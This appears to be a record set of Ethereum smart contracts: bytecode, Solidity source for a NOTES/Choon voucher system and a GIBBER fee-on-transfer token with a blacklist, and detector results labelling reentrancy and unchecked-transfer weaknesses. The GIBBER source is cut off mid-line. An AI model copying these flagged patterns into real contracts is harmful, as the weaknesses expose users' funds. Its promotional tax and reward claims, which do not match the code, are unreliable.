0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b411461047f57806398a5c315146104ab57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f6565b005b34801561020a57600080fd5b5060408051808201909152600681526526a4a92927a960d11b60208201525b6040516102369190611a1f565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a74565b610695565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611aa0565b6106ac565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ae1565b610715565b34801561036a57600080fd5b506101fc610379366004611b0e565b610760565b34801561038a57600080fd5b506101fc6107a8565b34801561039f57600080fd5b506102be6103ae366004611ae1565b6107f3565b3480156103bf57600080fd5b506101fc610815565b3480156103d457600080fd5b506101fc6103e3366004611b29565b610889565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ae1565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611b0e565b6108b8565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b5060408051808201909152600381526226a4a960e91b6020820152610229565b3480156104b757600080fd5b506101fc6104c6366004611b29565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b42565b61092f565b3480156104f757600080fd5b5061025f610506366004611a74565b61096d565b34801561051757600080fd5b5061025f610526366004611ae1565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b74565b6109ce565b34801561057c57600080fd5b506102be61058b366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b29565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ae1565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c31565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c92565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c31565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c31565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c31565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c31565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c66565b9050602002016020810190610a2f9190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c92565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c31565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c31565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611cad565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a6984848484611469565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a1f565b5060006112198486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611497565b90506112d983826114ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b49190611cdc565b816001815181106113c7576113c7611c66565b6001600160a01b0392831660209182029290920101526014546113ed9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611426908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611476576114766114fc565b61148184848461152a565b80610a6957610a69600e54600c55600f54600d55565b60008060006114a4611621565b90925090506114b382826114ba565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150c5750600d54155b1561151357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153c8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156e90876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159d908661172e565b6001600160a01b0389166000908152600260205260409020556115bf8161178d565b6115c984836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163c82826114ba565b82101561165857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106209190611a1f565b5060006112198486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611497565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061173b8385611cad565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611797611497565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114ba565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a6565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112d981611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112d982611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112d981611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058977ea6ec33fff2bfe8c9f766b95daa8fc6a3830ce51ac190895a9b8bcc6a0264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,071
0xb630a38cb8b5f3a00df576415e5efd20b7cd5e28
pragma solidity ^0.4.18; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // The NOTES ERC20 Token. There is a delay before addresses that are not added to the "activeGroup" can transfer tokens. // That delay ends when admin calls the "activate()" function. // Otherwise it is a generic ERC20 standard token, based originally on the BAT token // https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code // The standard ERC20 Token interface contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // NOTES Token Implementation - transfers are prohibited unless switched on by admin contract Notes is Token { using SafeMath for uint256; //// CONSTANTS // Number of NOTES (800 million) uint256 public constant TOTAL_SUPPLY = 2000 * (10**6) * 10**uint256(decimals); // Token Metadata string public constant name = "NOTES"; string public constant symbol = "NOTES"; uint8 public constant decimals = 18; string public version = "1.0"; //// PROPERTIES address admin; bool public activated = false; mapping (address => bool) public activeGroup; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) allowed; //// MODIFIERS modifier active() { require(activated || activeGroup[msg.sender]); _; } modifier onlyAdmin() { require(msg.sender == admin); _; } //// CONSTRUCTOR function Notes(address fund, address _admin) { admin = _admin; totalSupply = TOTAL_SUPPLY; balances[fund] = TOTAL_SUPPLY; // Deposit all to fund Transfer(address(this), fund, TOTAL_SUPPLY); activeGroup[fund] = true; // Allow the fund to transfer } //// ADMIN FUNCTIONS function addToActiveGroup(address a) onlyAdmin { activeGroup[a] = true; } function activate() onlyAdmin { activated = true; } //// TOKEN FUNCTIONS function transfer(address _to, uint256 _value) active returns (bool success) { require(_to != address(0)); require(_value > 0); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) active returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) active returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } // The Choon smart contract. A state channel on the streaming service distributes cryptographically signed vouchers to artists on demand. // Those artists can then cash those vouchers into NOTES via this contract. // A solo artist could cash the NOTES directly to an address, or a band could cash them to a Smart Record Contract. // The Smart Record contract would then distribute the NOTES to the individual artists, according to its terms. contract Choon { using SafeMath for uint256; // Events event VoucherCashed(address indexed to, uint256 value); // Notes Contract address notesContract; // The address of the state channel authority that signs the vouchers address choonAuthority; // The contract admin address admin; // The total Notes payments to each address mapping(address => uint256) public payments; // Used to kill the contract in case it needs to be replaced with a new one bool active = true; // Modifiers modifier onlyAdmin() { require(msg.sender == admin); _; } modifier isActive() { require(active); _; } // Constructor function Choon(address _notesContract, address _choonAuthority, address _admin) { notesContract = _notesContract; choonAuthority = _choonAuthority; admin = _admin; } function setActive(bool _active) onlyAdmin external { active = _active; } function setAuthority(address _authority) onlyAdmin external { choonAuthority = _authority; } function shutdown() onlyAdmin external { active = false; // Transfer all remaining Notes to admin uint256 balance = Notes(notesContract).balanceOf(address(this)); Notes(notesContract).transfer(admin, balance); } /// @dev Remit a voucher to Choon to get paid Notes // Note that the voucher always updates the *total* lifetime balance of the beneficiary. // This contract tracks what has been paid out so far, so it then knows how much to pay. // This prevents double-spending of vouchers. function remit(address receiver, uint256 balance, bytes sig) external isActive { // Ensure that the voucher sig is valid and from the choonAuthority require(verifyBalanceProof(receiver, balance, sig)); // Compute the NOTES owed due to this voucher and pay the beneficiary (receiver). uint priorBalance = payments[receiver]; uint owed = balance.sub(priorBalance); require(owed > 0); payments[receiver] = balance; Notes(notesContract).transfer(receiver, owed); VoucherCashed(receiver, owed); } function verifyBalanceProof(address receiver, uint256 balance, bytes sig) private returns (bool) { bytes memory prefix = "\x19Choon:\n32"; bytes32 message_hash = keccak256(prefix, receiver, balance); address signer = ecverify(message_hash, sig); return (signer == choonAuthority); } // ECVerify function, from µRaiden and others function ecverify(bytes32 hash, bytes signature) private returns (address signature_address) { require(signature.length == 65); bytes32 r; bytes32 s; uint8 v; // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) // Here we are loading the last 32 bytes, including 31 bytes of 's'. v := byte(0, mload(add(signature, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible if (v < 27) { v += 27; } require(v == 27 || v == 28); signature_address = ecrecover(hash, v, r, s); // ecrecover returns zero on error require(signature_address != 0x0); return signature_address; } }
0x6060604052600436106100535763ffffffff60e060020a6000350416637a9e5e4b8114610058578063acec338a14610079578063da9eadac14610091578063e2982c21146100c0578063fc0e74d1146100f1575b600080fd5b341561006357600080fd5b610077600160a060020a0360043516610104565b005b341561008457600080fd5b610077600435151561014e565b341561009c57600080fd5b61007760048035600160a060020a031690602480359160443591820191013561017c565b34156100cb57600080fd5b6100df600160a060020a03600435166102e7565b60405190815260200160405180910390f35b34156100fc57600080fd5b6100776102f9565b60025433600160a060020a0390811691161461011f57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025433600160a060020a0390811691161461016957600080fd5b6004805460ff1916911515919091179055565b600454600090819060ff16151561019257600080fd5b6101cc868686868080601f01602080910402602001604051908101604052818152929190602084018383808284375061041e945050505050565b15156101d757600080fd5b600160a060020a0386166000908152600360205260409020549150610202858363ffffffff61051916565b90506000811161021157600080fd5b600160a060020a0380871660009081526003602052604080822088905581549092169163a9059cbb918991859190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561028757600080fd5b6102c65a03f1151561029857600080fd5b50505060405180515050600160a060020a0386167f37059d29ee1c1c146213abfc52fca6da534ea55f4ace421c371ca91711e115a78260405190815260200160405180910390a2505050505050565b60036020526000908152604090205481565b60025460009033600160a060020a0390811691161461031757600080fd5b6004805460ff1916905560008054600160a060020a0316906370a082319030906040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561037c57600080fd5b6102c65a03f1151561038d57600080fd5b505050604051805160008054600254929450600160a060020a03908116935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561040057600080fd5b6102c65a03f1151561041157600080fd5b5050506040518051505050565b6000610428610615565b6000806040805190810160405280600a81526020017f1943686f6f6e3a0a33320000000000000000000000000000000000000000000081525092508287876040518084805190602001908083835b602083106104955780518252601f199092019160209182019101610476565b6001836020036101000a03801982511681845116808217855250505050505090500183600160a060020a0316600160a060020a03166c010000000000000000000000000281526014018281526020019350505050604051809103902091506104fd828661052b565b600154600160a060020a03908116911614979650505050505050565b60008282111561052557fe5b50900390565b600080600080845160411461053f57600080fd5b6020850151925060408501519150606085015160001a9050601b8160ff16101561056757601b015b8060ff16601b148061057c57508060ff16601c145b151561058757600080fd5b6001868285856040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156105ec57600080fd5b5050602060405103519350600160a060020a038416151561060c57600080fd5b50505092915050565b602060405190810160405260008152905600a165627a7a72305820ce9504421b5e85fb96556bc63196727ca3e9699927e3abea6bf16a6514148ed60029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,072
0xe9a739be3ea0071d5b35fc45f871d1cdd3efc40d
// SPDX-License-Identifier: Unlicensed /* The APE’s Dream is an otherworldly replica of the original Caesar's Workshop, now called the Abandoned Caesar Workshop under the Caesar's Ape Colony. Created by Caesar and Malcolm, the Caesar's Dream was originally intended as a way to ensure there were always hunters to fight humans. Caesar eventually realized that the Dream was bound to his consciousness, with each requiring the existence of the other, and nearly went mad from the revelation of never dying yet serving an eternal cause. The APE's Dream acts as a central hub and sanctuary for Ape warriors, where resources can be exchanged and weapons can be fortified here, as well as a connection to every other location in Caesar's kingdom. Gibber is now trapped inside the APE’s Dream and he decided to turn this endless loop of dream into a endless profit generating machine by establishing a treasury fund. A REWARDING mechanism can be easily achieved due to our unique treasury fund. 11% tax will be charged in each transaction and automatically added into the treasury fund. This treasury fund will be used to reward token holders each month and the rewarding method will be decided by our DREAM DAO. https://t.me/gibberportal */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GIBBER is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "An Apes Dream"; string private constant _symbol = "GIBBER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xa6aCdd208EAcc55aA43615F8EaCe5151503F6f40); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15e7 * 10**9; uint256 public _maxWalletSize = 15e7 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max 